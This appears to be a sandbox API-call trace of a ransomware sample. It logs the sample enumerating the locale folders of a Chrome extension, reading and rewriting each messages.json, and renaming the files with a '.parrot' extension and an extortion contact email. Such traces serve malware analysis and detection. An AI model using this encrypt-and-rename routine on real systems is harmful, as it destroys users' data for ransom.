hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e74b50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb57d0b80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0066.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0066.778] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0066.778] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0066.778] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0066.778] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.778] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0066.778] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0066.778] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e74b50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x149, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0066.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0066.778] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0066.780] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x261, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.780] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0066.781] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0066.782] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.782] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x149, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x149, lpOverlapped=0x0) returned 1 [0066.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0066.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0066.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0066.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0066.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0066.782] GetLastError () returned 0x0 [0066.782] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0066.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0066.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0066.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0066.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0066.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0066.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0066.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0066.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0066.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0066.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0066.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0066.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0066.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0066.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0066.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0066.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0066.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0066.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0066.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0066.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0066.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0066.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0066.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0066.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d0460 [0066.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0066.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d05a8 [0066.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0460 | out: hHeap=0x5b0000) returned 1 [0066.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d9a20 [0066.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d05a8 | out: hHeap=0x5b0000) returned 1 [0066.783] WriteFile (in: hFile=0x270, lpBuffer=0x5d9a20*, nNumberOfBytesToWrite=0x268, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d9a20*, lpNumberOfBytesWritten=0x18da44*=0x268, lpOverlapped=0x0) returned 1 [0066.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9a20 | out: hHeap=0x5b0000) returned 1 [0066.784] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x261, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.784] CloseHandle (hObject=0x270) returned 1 [0066.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d0460 [0066.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d05a8 [0066.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0460 | out: hHeap=0x5b0000) returned 1 [0066.786] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0066.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d05a8 | out: hHeap=0x5b0000) returned 1 [0066.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0066.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d01c8 | out: hHeap=0x5b0000) returned 1 [0066.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9a20 [0066.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d9b48 [0066.788] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0066.788] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb581ce40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb581ce40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.788] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e74b50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb581ce40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0066.788] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0066.788] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0066.788] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.788] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0066.788] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0066.788] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e74b50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0066.789] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x211, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.789] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0066.789] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0066.790] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.790] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xf9, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xf9, lpOverlapped=0x0) returned 1 [0066.790] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.790] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x211, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.790] CloseHandle (hObject=0x270) returned 1 [0066.790] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0066.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03b0 | out: hHeap=0x5b0000) returned 1 [0066.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0066.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0066.799] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0066.799] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb581ce40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb581ce40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.799] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e74b50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb581ce40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0066.800] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0066.800] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0066.800] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.800] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0066.800] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0066.800] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e99540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0066.804] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x211, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.804] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0066.804] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0066.804] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.805] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xf9, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xf9, lpOverlapped=0x0) returned 1 [0066.805] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.805] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x211, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.805] CloseHandle (hObject=0x270) returned 1 [0066.805] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0066.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03b0 | out: hHeap=0x5b0000) returned 1 [0066.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0066.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0066.811] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0066.811] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb5842fa0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb5842fa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.811] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e99540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb5842fa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0066.811] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0066.811] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0066.811] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.811] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0066.811] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0066.811] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e99540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0066.812] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21b, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.812] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0066.812] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0066.813] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.813] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x103, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x103, lpOverlapped=0x0) returned 1 [0066.813] 